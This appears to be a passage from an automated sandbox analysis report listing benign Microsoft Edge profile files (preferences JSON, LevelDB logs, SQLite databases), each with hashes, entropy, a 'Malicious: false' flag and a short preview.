Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\01d2725e-d7fe-4a81-8d1c-261596fb05c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4779c2a8-50b6-41c2-9deb-054001989387.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17463), with no line terminators
Category:	dropped
Size (bytes):	17465
Entropy (8bit):	5.4872146638206605
Encrypted:	false
SSDEEP:	192:stYJ99QTryDiuabatSuyplsfVZaFvrErQ/k7rJNJ5trKingSYUhlBoU96EpvG8lJ:stYPGQSu4lsfVZCDeQ61eGggrbGKQwO8
MD5:	01E064C5065CBD351BFB44B7A2D845AF
SHA1:	C9FF0D1EEE3E41AFB8556BC5C814E66C83BAD191
SHA-256:	6590A192DEB0216FA9E19D10EC8E5076C806C14CA3F9BF66666CE7651063ECFD
SHA-512:	E84C2E2BBD4711EFC0452A74D8EB4FC62200FCDD567FAFD27E760071046CA7C1928A9736758E9BAA10B7E4013EEE9C60B1D60A19ACDEA53CF13061E709BDC4D9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f08dfad-e3f2-4ed0-9496-253632f0d2da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17628), with no line terminators
Category:	dropped
Size (bytes):	17630
Entropy (8bit):	5.484044864243257
Encrypted:	false
SSDEEP:	384:stYPGQSu4lsfVZCDeQ61eGggrbGKQwJ38:s6OXutPCL6pbG5O8
MD5:	D0099E6DA079E744697268FD9C49E0CA
SHA1:	09B3B28B23621AC3F067D1C168E18C4041BAB77B
SHA-256:	C63771A1DA948BECDAF1D2E81A12BDBBAD2A019C2048EE061DAAD5A01298C0D8
SHA-512:	B12BC22375C7C9A4784D15F35BAC39DA5540BEB5567C6F7F2EA40D197450B92078E66A822FB86FCFC9F8591E99661728600FC3434AE724180BAAE349E3964EA0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6596c686-6a2b-4020-9666-8f183ee338a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.110779405906752
Encrypted:	false
SSDEEP:	192:stYkdplsfVZaFvrE9k7rVG8lbV+FreQARUDPTYJ:stYQlsfVZCD13bGKQL8
MD5:	9D59354B55A745BD7E0B825E8F5F89CA
SHA1:	82884711AC2CE8AE834CFA2B443144AB2A55E2BE
SHA-256:	2790F1C2D670702A04E7BB0FBA1F647F2F151BACE491D9E7A8D5FF5787DD36C7
SHA-512:	06688CA266592F24D4DA60C250CC621BBEE43795914CB4C2C3D1AF857E1781814F49054FC3749AD4704CD4233052AE9E8A76E5D7F736005DAED723E20BF77735
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\795e0231-eb4a-422d-b981-8244dca07b90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9c922c6e-07a2-4d99-b3e0-0b95009252f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561435235144221
Encrypted:	false
SSDEEP:	768:SupqSDWAv7pLGLPy8W5w7Tf4MU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6S7cIPMA:SY5DPpcPy8Wa7TfXUu1ja3S7pnwCBgQH
MD5:	7B02984FF9C2B96F10E694B656C13674
SHA1:	A94836AF0AE891ED3D55247431E2FB56080955DE
SHA-256:	5DAA717A39E4CAAE9D520D48B2DFE619A6E02B45897608380F92EFBC56EFD0AA
SHA-512:	6590D4FE19A048463864CDE5055FEF2FCDAD92F6B5E5EC545168D4745604DEF92285D00E325F65E6A835C6DA6F5EE286D101231AAA47C19930FCD3D33E90A7E6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376583807412230","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376583807412230","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.266131469573506
Encrypted:	false
SSDEEP:	6:HEtMYIj1N723oH+Tcwtp3hBtB2KLlVEtMNV+q2PN723oH+Tcwtp3hBWsIFUv:ktMYIjaYebp3dFL8tMuvVaYebp3eFUv
MD5:	0DDB86A37546D59E80F6AFEA856C66DA
SHA1:	606B24BDE45D48618D35F63219603B76B9CBB1F4
SHA-256:	1F0E3DC7E8187D01F13B2165F0868CE0794835E63CBA434ABD68F8A300E4D9F7
SHA-512:	268A63014F742BD2C54C6CF0629AE0B6031AF99FC458B9A2BAF85DA66146C15CDC49E33B3A08843CA809A0CA3FCEF495EBB1F83D60EFD030719F6B4F0BF7C999
Malicious:	false
Preview:	2024/11/20-08:43:33.557 1ff8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-08:43:33.661 1ff8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222883791937143
Encrypted:	false
SSDEEP:	24576:IbPMZpVpfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVpfx2mjF
MD5:	80195699443B59FFFC84585A59E187DB
SHA1:	282B26360D13A736EA6A2078B15292AB8A15EFB6
SHA-256:	7814B0CD685337FBBAF846952BBA25994D8B7CE3A707A50143B5F1D668758254
SHA-512:	752E141C47B4BC8454D27CA77C9B8283BF754B63E05A1BAD52CA3D5FE105679DD309E8764C3A429952A5AEC27115439B73B444994681F8EEA24EA5C8E91D7C9D
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.100394792017763
Encrypted:	false
SSDEEP:	6:HEtMlZyq2PN723oH+Tcwt9Eh1tIFUt8YEtMnP1Zmw+YEtM6pRkwON723oH+TcwtY:ktM7yvVaYeb9Eh16FUt8/tMnN/+/tMCg
MD5:	D5A17C22596DAAF76A5D3F1CFDB17366
SHA1:	582A2BB45BCC24814A9D6C8FDFD3E305CD873D0D
SHA-256:	47BBE4BFE42518F7553EF2CCC215B769288929297E4AD26F759A879C5F3BC3E5
SHA-512:	B811C511064320B7A4D0C317017429E42F4A42E06ECD0B86188FF1206C548AE12B26F92EAC2FB3F8D603427606ACE3DC86B833F119A73738CC6CA07B3C898F31
Malicious:	false
Preview:	2024/11/20-08:43:33.435 cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-08:43:33.437 cc4 Recovering log #3.2024/11/20-08:43:33.445 cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.100394792017763
Encrypted:	false
SSDEEP:	6:HEtMlZyq2PN723oH+Tcwt9Eh1tIFUt8YEtMnP1Zmw+YEtM6pRkwON723oH+TcwtY:ktM7yvVaYeb9Eh16FUt8/tMnN/+/tMCg
MD5:	D5A17C22596DAAF76A5D3F1CFDB17366
SHA1:	582A2BB45BCC24814A9D6C8FDFD3E305CD873D0D
SHA-256:	47BBE4BFE42518F7553EF2CCC215B769288929297E4AD26F759A879C5F3BC3E5
SHA-512:	B811C511064320B7A4D0C317017429E42F4A42E06ECD0B86188FF1206C548AE12B26F92EAC2FB3F8D603427606ACE3DC86B833F119A73738CC6CA07B3C898F31
Malicious:	false
Preview:	2024/11/20-08:43:33.435 cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-08:43:33.437 cc4 Recovering log #3.2024/11/20-08:43:33.445 cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46260323362755357
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBucw:TouQq3qh7z3bY2LNW9WMcUvBuH
MD5:	B137F23063C8906D0B8E01D22E16BC13
SHA1:	B6CBF966B968F48EA27CEBAF1C159B66C5058AFE
SHA-256:	D92465790BA631127F4A71BE896435922901852346B89D72EB5C584194CE2015
SHA-512:	FA019B31747C558C78C6F19B989C7A036250F603867592F4B3C174C2A28BB0596A5EBF9E5D0A0C76177EADBBB7E3ECBF3619A8BA20FCB5A27384481837AD3224
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.216328958892917
Encrypted:	false
SSDEEP:	6:HE1oROMM+q2PN723oH+TcwtnG2tMsIFUt8YE1aXZmw+YE1aqMVkwON723oH+Tcwj:kCR1M+vVaYebn9GFUt8/E/+/fMV5OaYi
MD5:	B2A875DA78A6428DDB8C41890E4CC86A
SHA1:	7C8A21208AE3DC8F52368B208A97963EAA207565
SHA-256:	EEA14172FA93AC1A2293FB7BE8390DDD95BEFE844ED1A33F3F46842C8A972D21
SHA-512:	2B179FFBA246B4F13CC378FF12D7736FC1269C449593CACE647CB4F6C91C2B7EBD64B95E129ACDC1C44B0BAE0FB91E07FF9B7D6F8790F09B3650B9ACA0108D3B
Malicious:	false
Preview:	2024/11/20-08:43:27.464 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-08:43:27.465 14fc Recovering log #3.2024/11/20-08:43:27.465 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.216328958892917
Encrypted:	false
SSDEEP:	6:HE1oROMM+q2PN723oH+TcwtnG2tMsIFUt8YE1aXZmw+YE1aqMVkwON723oH+Tcwj:kCR1M+vVaYebn9GFUt8/E/+/fMV5OaYi
MD5:	B2A875DA78A6428DDB8C41890E4CC86A
SHA1:	7C8A21208AE3DC8F52368B208A97963EAA207565
SHA-256:	EEA14172FA93AC1A2293FB7BE8390DDD95BEFE844ED1A33F3F46842C8A972D21
SHA-512:	2B179FFBA246B4F13CC378FF12D7736FC1269C449593CACE647CB4F6C91C2B7EBD64B95E129ACDC1C44B0BAE0FB91E07FF9B7D6F8790F09B3650B9ACA0108D3B
Malicious:	false
Preview:	2024/11/20-08:43:27.464 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-08:43:27.465 14fc Recovering log #3.2024/11/20-08:43:27.465 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132871203834869
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jkXbpbXWmL:TO8D4jJ/6Up+yRz
MD5:	F110192C6A9A5A33CA55D66669753FA5
SHA1:	51106503839DF261A6C016E5871328FFC36D1B0A
SHA-256:	0BD2A01FB2963003A353C9D431EC9BE5F4D96D36F9832E2F9AEAF2B0712D00DB
SHA-512:	DB00E4C803B8BC8A12E04F15D2868918A3A11037253A19EDD3FCAF250A7C0FBE4BFF9ACAF921B8A9EBC32EF6CB520D82EF19EE5A4BFA46EC9DBB76390E3A0B73
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354099602039082
Encrypted:	false
SSDEEP:	6144:3A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:3FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	CA3496D9FDE97298170ED950EEAE3038
SHA1:	1B8BCB0B47763D08AECA1494A36EC3674727CDB0
SHA-256:	888A472D4D321F367AF0EF1E0B8D309FE734EFA79042B9EEA38EC2659B8C6EA3
SHA-512:	23BE693577EC9EA05838D461A5CAEB3CA96CFCF5EA61AE1FA5F7A0E4A9211BC2A0258790997B7687C98B8A4335367E3563184BDF37E2E5F8566F57F3BA3C34DB
Malicious:	false
